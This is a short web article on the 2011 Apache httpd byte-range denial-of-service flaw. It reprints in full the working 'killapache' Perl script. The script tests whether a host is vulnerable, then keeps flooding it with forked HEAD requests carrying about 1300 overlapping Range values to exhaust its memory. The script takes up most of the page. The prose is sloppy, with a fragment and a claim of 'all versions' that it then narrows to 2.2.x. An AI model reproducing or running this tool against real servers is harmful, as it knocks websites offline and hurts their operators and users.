The Apache Software Foundation has announced a denial-of-service vulnerability that affects all versions of the ubiquitous Apache web server, leaving up to 65% of all websites vulnerable. A unknown flaw in the code for processing byte range headers allows versions 2.2.x of the Apache Web Server to be crippled from a single PC. A suitable “Apache Killer” Perl script that impressively demonstrates the problem.
Advisory - Click here
How does killapache DDOS tool work?
killapache sends GET requests with multiple “byte ranges” that will claim large portions of the system’s memory space. A “byte range” statement allows a browser to only load certain parts of a document, for example bytes 500 to 1000. It is normally used while downloading large files. This method is used by programs such as download clients to resume downloads that have been interrupted; it is designed to reduce bandwidth requirements. However, it appears that stating multiple unsorted components in the header can cause an Apache server to malfunction.
The code
- #Apache httpd Remote Denial of Service (memory exhaustion)
- #By Kingcope
- #Year 2011
- #
- # Will result in swapping memory to filesystem on the remote side
- # plus killing of processes when running out of swap space.
- # Remote System becomes unstable.
- #
- use IO::Socket;
- use Parallel::ForkManager;
- sub usage {
- print "Apache Remote Denial of Service (memory exhaustion)\n";
- print "by Kingcope\n";
- print "usage: perl killapache.pl <host> [numforks]\n";
- print "example: perl killapache.pl www.example.com 50\n";
- }
- sub killapache {
- print "ATTACKING $ARGV[0] [using $numforks forks]\n";
- $pm = new Parallel::ForkManager($numforks);
- $|=1;
- srand(time());
- $p = "";
- for ($k=0;$k<1300;$k++) {
- $p .= ",5-$k";
- }
- for ($k=0;$k<$numforks;$k++) {
- my $pid = $pm->start and next;
- $x = "";
- my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
- PeerPort => "80",
- Proto => 'tcp');
- $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
- print $sock $p;
- while(<$sock>) {
- }
- $pm->finish;
- }
- $pm->wait_all_children;
- print ":pPpPpppPpPPppPpppPp\n";
- }
- sub testapache {
- my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
- PeerPort => "80",
- Proto => 'tcp');
- $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
- print $sock $p;
- $x = <$sock>;
- if ($x =~ /Partial/) {
- print "host seems vuln\n";
- return 1;
- } else {
- return 0;
- }
- }
- if ($#ARGV < 0) {
- usage;
- exit;
- }
- if ($#ARGV > 1) {
- $numforks = $ARGV[1];
- } else {$numforks = 50;}
- $v = testapache();
- if ($v == 0) {
- print "Host does not seem vulnerable\n";
- exit;
- }
- while(1) {
- killapache();
- }
